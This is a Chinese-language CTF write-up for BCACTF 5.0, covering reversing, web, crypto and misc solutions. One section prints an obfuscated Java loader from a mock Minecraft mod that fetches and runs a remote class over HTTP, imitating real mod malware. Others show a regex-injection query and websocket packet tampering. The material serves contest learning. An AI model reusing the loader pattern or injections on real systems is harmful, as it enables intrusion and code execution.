BCACTF 5.0 WP

BCACTF 5.0

misc

This is NOT the flag

题目:
nZyenIuZhMiXtoygzoygyJfMoJmTnsaC

解题:
CyberChef Magic

bcactf{7hIs_1s_7h3_fla9}

rev

magic

题目:
I found this piece of paper on the floor. I was going to throw it away, but it somehow screamed at me while I was holding it?!
附件链接:https://pan.baidu.com/s/16vaGfjUMuxP6t2ilUrudaA?pwd=w9ij
解题:
使用Adobe Acrobat DC打开pdf,选择更多工具->JavaScript 文档级JavaScript->编辑 查看代码

对代码进行格式化,再修改下变量方便阅读代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
var _thereisdjs = true;
(function (_0x18b13a, _0x4d582d) {
var _0x3da883 = f2,
_0x1d0353 = _0x18b13a();
while (!![]) {
try {
var _0x10c45c = parseInt(_0x3da883(0x1be)) / 0x1 * (-parseInt(_0x3da883(0x1cc)) / 0x2) + parseInt(_0x3da883(0x1c2)) / 0x3 + parseInt(_0x3da883(0x1c6)) / 0x4 * (parseInt(_0x3da883(0x1c7)) / 0x5) + -parseInt(_0x3da883(0x1cb)) / 0x6 * (parseInt(_0x3da883(0x1c1)) / 0x7) + -parseInt(_0x3da883(0x1ca)) / 0x8 + parseInt(_0x3da883(0x1c0)) / 0x9 + parseInt(_0x3da883(0x1c4)) / 0xa * (parseInt(_0x3da883(0x1bf)) / 0xb);
if (_0x10c45c === _0x4d582d) break;
else _0x1d0353['push'](_0x1d0353['shift']());
} catch (_0x53c9c0) {
_0x1d0353['push'](_0x1d0353['shift']());
}
}
}(f3, 0xe20be));

function f2(a1, a2) {
var f373 = f3();
return f2 = function (f2e1, _0x43c2ed) {
f2e1 = f2e1 - 0x1bd;
var _0x2522f0 = f373[f2e1];
return _0x2522f0;
}, f2(a1, a2);
}

function f3() {
var _0x1355d8 = ['getField', 'charCodeAt', '100554TvjbzQ', '11jHxsKn', '7564617EnopjV', '2219BJkXWe', '3372363teHOVr', 'alert', '5165870pcLTuS', 'producer', '32KYViix', '925835vZTXso', 'Flag is incorrect!', 'length', '8132288HsoZUP', '13494jFFdda', '26rtwUNT'];
f3 = function () {
return _0x1355d8;
};
return f3();
}

function update() {
var fa = f2,
v = this['getField']('A')['value'],
x2 = [];
for (var i = 0; i < v['length']; i++) {
x2['push'](v['charCodeAt'](i) ^ parseInt(info[fa(453)]) % (117 + i));
}
k = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3];
if (x2['length'] != k['length']) {
app[fa(451)](fa(456));
return;
}
for (var i = 0; i < k['length']; i++) {
if (x2[i] != k[i]) {
app[fa(451)](fa(456));
return;
}
}
app[fa(451)]('Flag is correct!');
}

发现逻辑是将输入的字符每一位与parseInt(info[fa(453)])异或再%(117+i),然后与k数组比较,所以只需要将k数组的值与parseInt(info[fa(453)])异或即可得到flag
由于代码没有直接给出info[fa(453)]的值,所以需要通过Adobe Acrobat DC进行调试,在代码中添加alert(parseInt(info[fa(453)]))即可得到info[fa(453)]的值

1
2
// alert 在源代码中是 app[_0x3d0e72(0x1c3)] ; 所以在源代码中添加 app[_0x3d0e72(0x1c3)](parseInt(info[_0x3d0e72(0x1c5)]));
app[_0x3d0e72(0x1c3)](parseInt(info[_0x3d0e72(0x1c5)]));

保存运行后得到数值 283548893274

使用脚本爆破解密

1
2
3
4
5
6
7
8
9
10
enc = [0x46, 0x2d, 0x62, 0x11, 0x6b, 0x4c, 0x72, 0x5f, 0x76, 0x38, 0x19, 0x28, 0x5f, 0x31, 0x36, 0x63, 0xf7, 0xb1, 0x69, 0x2a, 0x18, 0x5e, 0x36, 0x1, 0x37, 0x3a, 0x1c, 0x5, 0x11, 0x56, 0xe5, 0x7b, 0x64, 0x2c, 0x11, 0x14, 0x53, 0x5a, 0x35, 0x17, 0x41, 0x62, 0x3]
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_?!@#$%^&*()'

x = 0
for e in enc:
for c in chars:
t = ord(c) ^ 283548893274 % (117 + x)
if chr(t) == chr(e):
print(c, end='')
x += 1

bcactf{InTerACtIv3_PdFs_W0W_cbd14436e6aea8}

My Brain Hurts

题目:
My friend sent me a weird string and a “program” they wrote, although it doesn’t seem anything interpretable to me. Can you help me find out what they put through their program?
script.txt

1
,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,<----<++++++<---------<++<-<+++++<-------<+++++++++<-------<----<---<++++<--<+++<+++++++<+++<+<++<---------------<+++++<-------<---<----.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.

string.txt

1
^`Zheh|Ey7/r\b\T&6r/][j}

解题:
根据script.txt判断是Brain Fuck代码 string.txt 是密文
通过爆破每个字符得到明文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import string


def run_brainfuck(code, input_stream=None):
# 用于存储代码执行时的数据
tape = [0] * 30000 # 初始化一个足够大的数据带
ptr = 0 # 数据指针初始化为0
code_ptr = 0 # 代码指针初始化为0
code_len = len(code) # 代码长度
input_ptr = 0 # 输入数据的指针
output = [] # 存储输出数据

# 用栈来处理循环([ 和 ])
loop_stack = []

while code_ptr < code_len:
command = code[code_ptr]

if command == '>':
ptr += 1 # 移动指针到右边
elif command == '<':
ptr -= 1 # 移动指针到左边
elif command == '+':
tape[ptr] = (tape[ptr] + 1) % 256 # 增加当前指针指向的单元的值
elif command == '-':
tape[ptr] = (tape[ptr] - 1) % 256 # 减少当前指针指向的单元的值
elif command == '.':
output.append(chr(tape[ptr])) # 输出当前指针指向的单元的字符
elif command == ',':
if input_stream is not None and input_ptr < len(input_stream):
tape[ptr] = ord(input_stream[input_ptr]) # 读取输入
input_ptr += 1
else:
tape[ptr] = 0 # 如果没有输入,则默认为0
elif command == '[':
if tape[ptr] == 0:
# 跳转到对应的 ]
open_loops = 1
while open_loops > 0:
code_ptr += 1
if code[code_ptr] == '[':
open_loops += 1
elif code[code_ptr] == ']':
open_loops -= 1
else:
loop_stack.append(code_ptr)
elif command == ']':
if tape[ptr] != 0:
code_ptr = loop_stack[-1]
continue
else:
loop_stack.pop()

code_ptr += 1

return ''.join(output)


# 示例代码
bf_code = ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,<----<++++++<---------<++<-<+++++<-------<+++++++++<-------<----<---<++++<--<+++<+++++++<+++<+<++<---------------<+++++<-------<---<----.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>."
m = r'^`Zheh|Ey7/r\b\T&6r/][j}'

d = string.printable
instr = ''
for i in range(len(m)):
for j in d:
instr += j
o = run_brainfuck(bf_code, instr)
if o[:i + 1] == m[:i + 1]:
print(instr)
break
else:
instr = instr[:i]

bcactf{Br41n_fcK-1s-fUn}

XOR

题目:
The executable below outputs an encrypted flag using the XOR operator. Can you decompile and reveal the flag?
附件链接:https://pan.baidu.com/s/1XvMeRLWiGP74LTjk25qgZA?pwd=0o5f
密文:

1
Encrypted flag: 21 0F 0A 15 3F 29 29 6B 13 1C 2C 74 7D 30 5E 50 6E 29 2B 24 19 0C 67 7D 05 54 7C 34 5C 13 32 42 29 62 7B 0F 4E

解题:
ida 打开xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+0h] [rbp-20h]
__int64 n; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
char *v7; // [rsp+18h] [rbp-8h]

stream = fopen("flag.txt", "r");
if ( stream )
{
fseek(stream, 0LL, 2);
n = ftell(stream);
fseek(stream, 0LL, 0);
ptr = malloc(n + 1);
if ( ptr )
{
fread(ptr, 1uLL, n, stream);
*((_BYTE *)ptr + n) = 0;
fclose(stream);
v7 = (char *)malloc(3 * n + 1);
if ( v7 )
{
xorEncrypt(ptr, v7, n);
printf("Encrypted flag: %s\n", v7);
free(ptr);
free(v7);
return 0;
}
else
{
puts("Memory allocation failed for output.");
free(ptr);
return 1;
}
}
else
{
puts("Memory allocation failed for input.");
fclose(stream);
return 1;
}
}
else
{
puts("Failed to open flag file. Make sure flag.txt exists.");
return 1;
}
}


_BYTE *__fastcall xorEncrypt(__int64 a1, __int64 a2, unsigned __int64 a3)
{
_BYTE *result; // rax
unsigned __int64 i; // [rsp+20h] [rbp-10h]

for ( i = 0LL; i < a3; ++i )
sprintf((char *)(3 * i + a2), "%02X ", (unsigned int)(char)(*(_BYTE *)(a1 + i) ^ aClkvkor8jqa1jb[i % 0x28]));
result = (_BYTE *)(3 * a3 + a2);
*result = 0;
return result;
}

通过分析代码得到flag.txt文件中的内容与aClkvkor8jqa1jb数组进行异或,得到的结果就是flag

1
2
3
4
5
key = 'ClkvKOR8JQA1JB731LeGkU7J4d2khDvrOPI63mM7'
enc = [0x21, 0x0F, 0x0A, 0x15, 0x3F, 0x29, 0x29, 0x6B, 0x13, 0x1C, 0x2C, 0x74, 0x7D, 0x30, 0x5E, 0x50, 0x6E, 0x29, 0x2B, 0x24, 0x19, 0x0C, 0x67, 0x7D, 0x05, 0x54, 0x7C, 0x34, 0x5C, 0x13, 0x32, 0x42, 0x29, 0x62, 0x7B, 0x0F, 0x4E]

for i in range(len(enc)):
print(chr(enc[i] ^ ord(key[i % 0x28])), end='')

bcactf{SYMmE7ric_eNcrYP710N_4WD0f229}

Flagtureiser

题目:
Here’s a totally normal Minecraft mod (1.19.4, Forge) I’ve been making, check it out!
(You do not need Minecraft to solve this challenge)
附件链接:https://pan.baidu.com/s/1Xq8ttjFGrKFAEasDstm99A?pwd=a08k
解压jar 使用idea打开 class文件
发现一段代码

1
2
3
4
5
static void _6d8f2e1fefef5b67bf4f49179b84f29f7d1e01f0() throws Exception {
Class.forName(new String(new byte[]{85, 116, 105, 108, 105, 116, 121}), true,
(ClassLoader)Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114})).getConstructor(URL[].class).newInstance(new URL(new String(new byte[]{104, 116, 116, 112}),
new String(new byte[]{98, 99, 97, 99, 116, 102, 123, 102, 82, 97, 67, 116, 117, 114, 51, 49, 115, 51, 82, 95, 115, 84, 56, 103, 69, 95, 122, 51, 82, 48, 125}), 8080, new String(new byte[]{47, 100, 108})))).getMethod(new String(new byte[]{114, 117, 110}), String.class).invoke((Object)null, "-114.-18.38.108.-100");
}

对代码中的数值进行Ascii解密

1
2
3
4
5
6
7
8
9
10
11
enc = [[85, 116, 105, 108, 105, 116, 121],
[106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114],
[104, 116, 116, 112],
[98, 99, 97, 99, 116, 102, 123, 102, 82, 97, 67, 116, 117, 114, 51, 49, 115, 51, 82, 95, 115, 84, 56, 103, 69, 95, 122, 51, 82, 48, 125],
[47, 100, 108],
[114, 117, 110]]

for i in enc:
for j in i:
print(chr(j), end='')
print()

bcactf{fRaCtur31s3R_sT8gE_z3R0}

web

Sea Scavenger

打开链接

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<main>
<p>Explore the mysteries of the deep sea...</p>
<a href="/shark"><img id="shark" src="/static/shark.png"
alt="Shark Image"></a>
<a href="/squid"><img id="squid" src="/static/squid.png"
alt="Squid Image"></a>
<a href="/clam"><img id="clam" src="/static/clam.png"
alt="Clam Image"></a>
<a href="/shipwreck"><img id="shipwreck" src="/static/shipwreck.png"
alt="Shipwreck Image"></a>
<a href="/whale"><img id="whale" src="/static/whale.png"
alt="Whale Image"></a>
<a href="/treasure"><img id="treasure" src="/static/treasure.png"
alt="Treasure Image"></a>
</main>

发现有6个链接,分别访问
/shark 源代码中

1
2
3
4
5
6
7
8
9
10
11
12
13

<body>
<div class="container">
<img src="/static/shark.png" alt="Shark Image">
<div class="riddle">
<p>Sharks swim really fast, especially through the HTML sea!</p>
</div>
<div class="notFlagPartTrust">
<!-- You found the shark! Part 1 of the flag: "bcactf{b3" -->
</div>
<a class="back-link" href="/">Back to the Depths of the Sea</a>
</div>
</body>

/squid 打开控制台得到一段

/clam

1
2
3
4
5
6
7
8
9
10
11
12

<body>
<div class="container">
<img class="clam-image" src="/static/clam.png" alt="Clam Image">
<div class="riddle">
<p>Clams are shaped like a specific sweet treat when they are closed...</p>
</div>
<a class="back-link" href="/">Back to the Depths of the Sea</a>
</div>

<script src="/static/clam.js"></script>
</body>

clam.js

1
2
3
4
5
6
7
document.cookie = "flag part 3:=dnt_f1n";

window.onbeforeunload = function () {
document.cookie = "flag part 3:=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
};

console.log("Hint: how do websites remember you? Where do websites store things?")

/shipwreck

/whale

1
2
3
4
5
6
7
8
9
10
11
12

<body>
<div class="container">
<img class="whale-image" src="/static/whale.png" alt="Whale Image">
<div class="riddle">
<p>Whales have many sources of food!</p>
</div>
<a class="back-link" href="/">Back to the Depths of the Sea</a>
</div>

<script src="/static/whale.js"></script>
</body>

whale.js

1
// Part 5 of the flag: "e4sur3"

/treasure

bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3_t336e3}

NoSQL

题目: I found this database that does not use SQL, is there any way to break it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const express = require('express')

const app = express();
const port = 3000;
const fs = require('fs')
try {
const inputD = fs.readFileSync('table.txt', 'utf-8');
text = inputD.toString().split("\n").map(e => e.trim());
} catch (err) {
console.error("Error reading file:", err);
process.exit(1);
}

app.get('/', (req, res) => {
if (!req.query.name) {
res.send("Not a valid query :(")
return;
}
let goodLines = []
text.forEach( line => {
if (line.match('^'+req.query.name+'$')) {
goodLines.push(line)
}
});
res.json({"rtnValues":goodLines})
})

app.get('/:id/:firstName/:lastName', (req, res) => {
// Implementation not shown
res.send("FLAG")
})

app.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

解题:
正则绕过 通配 .*

bcactf{R3gex_WH1z_54dfa9cdba13}

Phone number

题目:
I was trying to sign into this website, but now it’s asking me for a phone number. The way I’m supposed to input it is strange. Can you help me sign in?
My phone number is 1234567890
解题:

js监听 禁止输入输入
控制台执行js代码进行输入

bcactf{PHoN3_num8eR_EntER3D!_17847928}

Tic-Tac-Toe

题目:
My friend wrote this super cool game of tic-tac-toe. It has an AI he claims is unbeatable. I’ve been playing the game for a few hours and I haven’t been able to win. Do you think you could beat the AI?
题解:

通过ws发送和接收位置 直接用burp 改包 在第三次发送的时候改包位置 在一条线就行

bcactf{7h3_m4st3r_0f_t1ct4ct0e_678d52c8}

binex

Inaccessible

题目: I wrote a function to generate the flag, but don’t worry, I bet you can’t access it!
附件链接:https://pan.baidu.com/s/1u1eTg-AKZqm1WQAtmylslA?pwd=qxoz
解题:
ida 打开分析 有一个win 函数

根据题目 gdb 调试调用win 函数即可

bcactf{W0w_Y0u_m4d3_iT_b810c453a9ac9}

crypto

RSAEncrypter

题目:
I made an rsa encrypter to send my messages but it seems to be inconsistent…
hint:Search up Chinese Remainder Theorem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes

message = open("./flag.txt").read().encode('utf-8')


def encode():
n = getPrime(512) * getPrime(512)
ciphertext = pow(bytes_to_long(message), 3, n)
return (ciphertext, n)


print("Return format: (ciphertext, modulus)")
print(encode())
sent = input("Did you recieve the message? (y/n) ")
while sent == 'n':
print(encode())
sent = input("How about now? (y/n) ")
print("Message acknowledged.")

解题:
根据提示使用中国剩余定理解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import gmpy2
from Crypto.Util.number import long_to_bytes

# 中国剩余定理
n1 = 131979512062648547256403842260573452200898640596184179718224926702680782937686645373705271521382742956676723350106749269012912352289270034370682769576648626782644601101863740824727539814269458830728471433372844888299139160127760052650877924866051620742270362195979394295530097129921798489947144174815100412301
c1 = 100574127392848839095696808217306192682465924402352911899708472251745622986762274578628135633623981416073971965860154907819951275075664947532549808798612818321899337993881205051036186455515147034061871114504221523957218220789877505790608864223346059683063826106379769654078157536184381338029557465937957935909

n2 = 124539094595562783724314469353650803318905783766400490106978102231344905946695661764956336311670333322742244066917399311673585232073275183080874806524940917398872238630973835696518800388631699284566439471984952155244895236407735238888572607290404237178730315166095224008306294285557055088246544364914905472241
c2 = 40911270563340641425532119976418825558526738151809828297515983538850651996458886177666379870109241479562282812573504606633030497462662218236915795932863084376859648195613943886621139878814477778385185903385600103928633584976781774039655582019797399152512103565347818760838714967536655324442698677338317070702

n3 = 98812341151515177663349512391020673306044900681154321437773951773043529096195296084540747340349256203196129637010190062265501220708221700422309562929366639843347488722001765021210859468419563484745800854878957134895973803594224236235075054646951946484073654291352418549359043647392021932209845587644319084353
c3 = 19767473024950554383836922427114636960050675232867209949461985213739830422910699037055408297979443364130736074740384671294636562876126745830301687282426731676945470573961686530768420953848653334871700754790489031754947795656022314506058672024478542193614109064539566969131880609369682446597798891815006969463

M1 = n2 * n3 * gmpy2.invert(n2 * n3, n1)
M2 = n1 * n3 * gmpy2.invert(n1 * n3, n2)
M3 = n1 * n2 * gmpy2.invert(n1 * n2, n3)

num = c1 * M1 + c2 * M2 + c3 * M3
me = num % (n1 * n2 * n3)
print(me)

m = gmpy2.iroot(me, 3)[0]
print(long_to_bytes(m))

bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}

Vinegar Times 3

题目:
We can’t speak French and just say what we see.
We also don’t know what underscores are add them yourself.
put ONLY the final decrypted cipher in bcactf{}, no intermediate steps
key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE
解题:
维吉尼亚密码解密 解密的结果作为下一次的秘钥

mmqaonv:vinegar -> redwine
seooizmt:redwine -> balsamic
bdoloeinbdjmmyg:balsamic -> addtosaladyummy

加上下划线
bcactf{add_to_salad_yummy}